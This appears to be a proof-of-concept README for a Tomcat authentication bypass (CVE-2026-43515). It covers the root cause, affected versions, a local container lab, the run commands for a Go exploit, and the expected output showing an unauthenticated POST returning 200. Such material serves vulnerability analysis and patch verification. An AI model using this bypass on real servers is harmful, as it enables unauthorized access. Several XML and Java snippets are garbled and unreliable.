## https://sploitus.com/exploit?id=703A79DC-60E9-5AC8-928B-96E9607FCF0C
# CVE-2026-43515 โ Apache Tomcat Security Constraint Bypass
> **Exploitability verdict:** confirmed exploitable. A POST request to a
> resource protected by a split `` configuration
> bypasses authentication entirely. The required `web.xml` shape is uncommon
> in standard deployments โ see [Analysis](#analysis) for details.
---
## Table of Contents
- [Overview](#overview)
- [Affected Versions](#affected-versions)
- [Root Cause](#root-cause)
- [Analysis](#analysis)
- [Repository Structure](#repository-structure)
- [Requirements](#requirements)
- [Usage](#usage)
- [Expected Output](#expected-output)
- [References](#references)
- [Disclaimer](#disclaimer)
---
## Overview
CVE-2026-43515 is a vulnerability in Apache Tomcat's security constraint
evaluation logic. When a single `` defines multiple
`` blocks that share the same URL extension pattern
(e.g. `*.html`) but each declare a different HTTP method, Tomcat only enforces
the constraint for the HTTP method declared in the **first** matching
collection. All subsequent collections are silently ignored.
The administrator's intent:
```xml
*.html
GET
*.html
POST
admin
```
What pre-fix Tomcat actually enforces:
- `GET *.html` โ **401** โ constraint applied โ
- `POST *.html` โ **200** โ constraint silently dropped โ
---
## Affected Versions
| Affected range | Fixed in |
|--------------------------|-----------|
| 7.0.0 โ 7.0.109 | 7.0.110 |
| 8.5.0 โ 8.5.100 | 8.5.101 |
| 9.0.0.M1 โ 9.0.117 | 9.0.118 |
| 10.1.0.M1 โ 10.1.54 | 10.1.55 |
| 11.0.0.M1 โ 11.0.21 | 11.0.22 |
---
## Root Cause
The bug lives in `findSecurityConstraints(Request, Context)` in
`org.apache.catalina.realm.RealmBase`. The `matched` flag and the `pos` index
were declared **outside** the per-collection loop:
```java
// RealmBase.java โ vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j ();
}
results.add(constraints[i]);
}
}
}
```
---
## Analysis
The bypass is confirmed and reproducible. The Tomcat verbose log makes the
mechanism unambiguous:
```
// GET โ constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test โ 401
// POST โ constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint โ 200
```
### The configuration shape matters
The vulnerability only triggers under a specific `web.xml` pattern: a
**single** `` with **multiple**
`` blocks sharing the **same extension pattern** but
declaring **different HTTP methods**.
This configuration is valid per the Servlet specification but uncommon in
practice. Most deployments either:
- Omit `` entirely (protecting all methods), or
- Use separate `` blocks per method
Deployments that use the split-collection pattern to apply fine-grained
per-method access control on extension patterns are exposed.
---
## Repository Structure
```
cve-2026-43515-poc/
โโโ Dockerfile # Tomcat 11.0.0-M1 (affected version)
โโโ tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
โโโ web.xml # Triggering config: split web-resource-collection
โโโ logging.properties # FINE-level logging to observe constraint evaluation
โโโ exploit/
โโโ exploit.go # PoC โ Go
```
---
## Requirements
| Tool | Version | Notes |
|--------|---------|---------------------------------|
| Podman | โฅ 4.0 | Docker works too |
| Go | โฅ 1.22 | For running the exploit locally |
No external Go dependencies.
---
## Usage
### 1. Build and start the container
```bash
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
```
Wait a few seconds, then verify:
```bash
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
```
### 2. Run the exploit
```bash
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
```
Available flags:
| Flag | Default | Description |
|-------------|----------------------------|-------------------------------------|
| `-target` | `http://localhost:8080` | Tomcat base URL |
| `-path` | `/protected/secret.html` | Path of the protected resource |
| `-username` | `validuser` | Valid username for the sanity check |
| `-password` | `s3cret!` | Password for the sanity check |
### 3. Cleanup
```bash
podman stop tomcat-vuln && podman rm tomcat-vuln
```
---
## Expected Output
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
CVE-2026-43515 โ Apache Tomcat Constraint Bypass
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Target : http://localhost:8080/protected/secret.html
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Probe 1 โ GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) โ HTTP 401 โ โ constraint enforced as expected
Probe 2 โ POST without credentials โ the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) โ HTTP 200 โ โ BYPASS CONFIRMED โ constraint not enforced for POST
Probe 3 โ GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) โ HTTP 200 โ โ authenticated access granted
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
VERDICT: VULNERABLE
```
---
## References
| Resource | Link |
|----------|------|
| Fix commit โ 11.0.x | [apache/tomcat@276087d](https://github.com/apache/tomcat/commit/276087d9c7abbcecc6c4fb4e4b08cf64780c6e36) |
| Full analysis โ blog post | [return-zero.dev/posts/cve-2026-43515](https://return-zero.dev/posts/cve-2026-43515) |
---
## Disclaimer
This repository is intended for educational purposes and local exploitability
analysis only. All testing was performed against a self-hosted container
environment. Do not run this PoC against systems you do not own or have
explicit written authorization to test.